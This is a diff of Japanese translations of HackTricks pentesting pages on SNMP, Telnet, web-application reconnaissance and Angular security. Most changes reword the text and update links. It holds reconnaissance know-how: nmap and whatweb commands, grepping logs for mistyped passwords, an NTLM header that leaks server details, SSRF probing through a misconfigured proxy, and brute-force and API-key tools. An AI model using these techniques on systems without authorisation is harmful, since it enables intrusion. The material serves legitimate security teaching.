MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これには誤ってユーザー名として入力されたパスワードが含まれる可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます:
```bash
grep -i "login\|fail" *.snmp
```
### **メール**
### **Emails**
最後に、データから**メールアドレス**を抽出するために、**grepコマンド**を使用し、メール形式に一致するパターンに焦点を当てた正規表現を使用します:
```bash
@ -223,7 +223,6 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限
- snmpd.conf
- snmp-config.xml
## HackTricks自動コマンド
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
@ -236,7 +235,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
https://book.hacktricks.xyz/pentesting/pentesting-snmp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な (または単に異なる) 規約のセットを使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造を使用して承認され、使用される可能性のあるさまざまな "**オプション**" があります。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためのより複雑な(または単に異なる)慣習のセットを使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で使用されるさまざまな "**options**" が含まれています。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
**このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。**
@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.xyz/pentesting/pentesting-telnet
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab

View File

@ -25,19 +25,19 @@ web-api-pentesting.md
## Methodology summary
> この方法論では、あなたがドメイン(またはサブドメイン)を攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または範囲内の不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
> この方法論では、あなたがドメインまたはサブドメインを攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または不明なウェブサーバーを持つIPにこの方法論を適用する必要があります。
- [ ] **技術**を**特定**することから始めます。ウェブサーバーによって使用されている**技術**を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
- [ ] **技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します。
- [ ] 技術のバージョンに**既知の脆弱性**はありますか?
- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
- [ ] 実行するための**専門のスキャナー**はありますか例えば、wpscan
- [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません。
- [ ] **初期チェック**を開始します:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
- [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合
- [ ] ウェブページの**スパイダー**を開始します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをスパイダーする必要があります。_
- [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
- [ ] **バックアップの確認**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
- [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします。
- [ ] **パラメータのブルートフォース****隠れたパラメータ**を**見つける**ことを試みます。
- [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します。
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、ツール[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)または[**https://builtwith.com/**](https://builtwith.com)**も役立ちます:
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、** [**webtech** ](https://github.com/ShielderSec/webtech)または [**https://builtwith.com/**](https://builtwith.com)**のツールも役立つかもしれません:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -105,11 +105,11 @@ _同じドメインが異なる**ポート**、**フォルダ**、および**サ
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
- **Change-log**や**Readme**、**Version**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
- **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
- **Change-log**や**Readme**、**Version**ファイル、またはウェブ経由でアクセス可能な**バージョン情報**を含むものはありますか?
- **資格情報**はどのように、どこに保存されていますか? **資格情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
- **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
- 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか?
- 脆弱性を悪用してこれらのファイルのいずれかに**アクセス**できますか?
- いくつかの脆弱性を利用して**これらのファイルのいずれかにアクセス**できますか?
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**導入されたパスワード**など)?
{{#ref}}
@ -175,13 +175,13 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください:
- **ブルートフォース**認証情報を取得する
- ウェブページ内の**見つかったフォルダー**にWebDavを介して**ファイルをアップロードする**。他のフォルダーにファイルをアップロードする権限があるかもしれません。
- **ブルートフォース**認証情報
- ウェブページ内の**見つかったフォルダー**の**残り**にWebDavを介して**ファイルをアップロードする**。他のフォルダーにファイルをアップロードする権限があるかもしれません。
### **SSL/TLSの脆弱性**
- アプリケーションが**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。
- アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、れは高い脆弱性です。
- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。
- アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、れは高い脆弱性です。
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
```bash
@ -205,25 +205,25 @@ SSL/TLSの脆弱性に関する情報:
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgでも検索します。
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、レスポンスを保存します。
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、役立つことがあります。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、レスポンスを保存します。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトは、パラメータを持つURLを見つけてリストします。
- [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルのエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを抽出します。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
- [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツ発見ツール。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、整形されたJSコードを取得するツール。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見しますレスポンスをダウンロードし、さらにリンクを探します
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクロラー/スパイダーです。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローや、特定の正規表現を使用して機密情報を見つけます。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクロラー/スパイダーです。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出し、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
- [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。
@ -231,7 +231,7 @@ SSL/TLSの脆弱性に関する情報:
### ディレクトリとファイルのブルートフォース
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**ディレクトリをブルートフォースすることを確認してください(このブルートフォースは**再帰的に**行うことができ、使用するワードリストの先頭に見つかったディレクトリの名前を追加します)。\
ツール:
- **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
@ -268,37 +268,37 @@ _ブルートフォースやスパイダーリング中に新しいディレク
### 見つかった各ファイルで確認すべきこと
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 乗っ取りの危険があるHTML内の壊れたリンクを見つけます
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML内の壊れたリンクを見つけ、乗っ取りの危険があるかもしれません
- **ファイルバックアップ**: すべてのファイルを見つけたら、すべての実行可能ファイル("_.php_", "_.aspx_"...)のバックアップを探します。バックアップの命名に一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmpおよびfile.old._ また、[**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**を使用できます。**
- **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、** [**parameth**](https://github.com/maK-/parameth)**、** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
- _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。
- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**何百もの**スペースを使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。
- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- **コメント:** すべてのファイルのコメントを確認してください。**認証情報**や**隠れた機能**を見つけることができます。
- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。
- **APIキー**: もし**APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/index.html)。
### 特別な発見
**スパイダーリング**と**ブルートフォース**を実行しているときに、**興味深い****もの**を**見つける**ことがあります。
**スパイダーリング**と**ブルートフォース**を実行しているに、**興味深い****もの**を**見つける**ことがあります。
**興味深いファイル**
- **CSS**ファイル内の他のファイルへの**リンク**を探します。
- [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
- **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
- [**.git**_ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
- _**.env**_を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
- **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、コードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認してください
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
- **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **JsFuckのデオブフスケーション**文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
- **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com)または[https://pythonium.net/regex](https://pythonium.net/regex)
- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
@ -308,21 +308,21 @@ _ブルートフォースやスパイダーリング中に新しいディレク
**502 Proxy Error**
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。
**NTLM認証 - 情報漏洩**
認証を要求しているサーバーが**Windows**であるか、**資格情報**および**ドメイン名**を要求するログイン)を見つけた場合、**情報漏洩**を引き起こすことができます。\
**ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
を**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合**ドメイン名**を要求する場合、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
のプロセスを**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
**HTTPリダイレクト (CTF)**
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。
**リダイレクション**内に**コンテンツ**を**挿入する**ことが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠され**ものがあるかもしれません。
### ウェブ脆弱性のチェック
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります:
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -4,17 +4,17 @@
チェックリスト [こちらから](https://lsgeurope.com/post/angular-security-checklist)。
* [ ] Angularはクライアントサイドフレームワークと見なされ、サーバーサイドの保護を提供することは期待されていません
* [ ] スクリプトのソースマップはプロジェクト設定で無効になっています
* [ ] 信頼できないユーザー入力は常にテンプレートで使用される前に補間またはサニタイズされます
* [ ] ユーザーはサーバーサイドまたはクライアントサイドのテンプレートを制御できません
* [ ] 信頼できないユーザー入力は、アプリケーションによって信頼される前に適切なセキュリティコンテキストを使用してサニタイズされます
* [ ] `BypassSecurity*` メソッドは信頼できない入力と共に使用されません
* [ ] 信頼できないユーザー入力は、`ElementRef``Renderer2``Document`などのAngularクラスや他のJQuery/DOMシンクに渡されません
* [ ] Angularはクライアントサイドフレームワークと見なされ、サーバーサイドの保護を提供することは期待されていない
* [ ] スクリプトのソースマップはプロジェクト設定で無効になってい
* [ ] 信頼できないユーザー入力は常にテンプレートで使用される前に補間またはサニタイズされ
* [ ] ユーザーはサーバーサイドまたはクライアントサイドのテンプレートを制御できない
* [ ] 信頼できないユーザー入力は、アプリケーションによって信頼される前に適切なセキュリティコンテキストを使用してサニタイズされ
* [ ] `BypassSecurity*` メソッドは信頼できない入力と共に使用されない
* [ ] 信頼できないユーザー入力は、`ElementRef``Renderer2``Document`などのAngularクラスや他のJQuery/DOMシンクに渡されない
## Angularとは
Angularは**強力**で**オープンソース**のフロントエンドフレームワークで、**Google**によって維持されています。**TypeScript**を使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、Angularは**XSS**や**オープンリダイレクト**などの一般的なクライアントサイドの脆弱性を防ぎます。また、**サーバーサイド**でも使用できるため、**両方の視点**からセキュリティ考慮が重要です。
Angularは**強力**で**オープンソース**のフロントエンドフレームワークで、**Google**によって維持されています。**TypeScript**を使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、Angularは**XSS**や**オープンリダイレクト**などの一般的なクライアントサイドの脆弱性を防ぎます。また、**サーバーサイド**でも使用できるため、**両方の視点**からセキュリティ考慮が重要です。
## フレームワークアーキテクチャ
@ -39,9 +39,9 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
ドキュメントによると、すべてのAngularアプリケーションには、コンポーネント階層をDOMに接続するルートコンポーネント`AppComponent`)が少なくとも1つあります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、ターゲット環境に表示されるビューを定義するHTMLテンプレートに関連付けられています。`@Component()`デコレーターは、その直下のクラスをコンポーネントとして識別し、テンプレートおよび関連するコンポーネント固有のメタデータを提供します。`AppComponent``app.component.ts`ファイルで定義されています。
ドキュメントによると、すべてのAngularアプリケーションには少なくとも1つのコンポーネントすなわちコンポーネント階層をDOMに接続するルートコンポーネント`AppComponent`があります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、ターゲット環境に表示されるビューを定義するHTMLテンプレートに関連付けられています。`@Component()`デコレーターは、その直下のクラスをコンポーネントとして識別し、テンプレートおよび関連するコンポーネント固有のメタデータを提供します。`AppComponent``app.component.ts`ファイルで定義されています。
Angular NgModulesは、アプリケーションドメイン、ワークフロー、または密接に関連する機能セットに専念したコンポーネントのセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常`AppModule`と呼ばれるルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションには通常、多くの機能モジュールが含まれています。`AppModule``app.module.ts`ファイルで定義されています。
Angular NgModulesは、アプリケーションドメイン、ワークフロー、または密接に関連する機能セットに専念したコンポーネントのセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常`AppModule`と呼ばれるルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションは通常、多くの機能モジュールを含みます。`AppModule``app.module.ts`ファイルで定義されています。
Angular `Router` NgModuleは、アプリケーション内の異なるアプリケーション状態とビュー階層の間でナビゲーションパスを定義できるサービスを提供します。`RouterModule``app-routing.module.ts`ファイルで定義されています。
@ -49,7 +49,7 @@ Angular `Router` NgModuleは、アプリケーション内の異なるアプリ
## Sourcemap configuration
Angularフレームワークは、`tsconfig.json`オプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後`angular.json`構成でプロジェクトをビルドします。`angular.json`ファイルを見てみると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。
Angularフレームワークは、`tsconfig.json`オプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後`angular.json`構成でプロジェクトをビルドします。`angular.json`ファイルを見ると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。
```json
"sourceMap": {
"scripts": true,
@ -58,9 +58,9 @@ Angularフレームワークは、`tsconfig.json`オプションに従ってType
"hidden": false
}
```
一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析に役立ちます。しかし、無効になっている場合、レビュアーはアンチセキュリティパターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。
一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析に役立ちます。しかし、無効にされている場合、レビュアーはセキュリティ対策パターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。
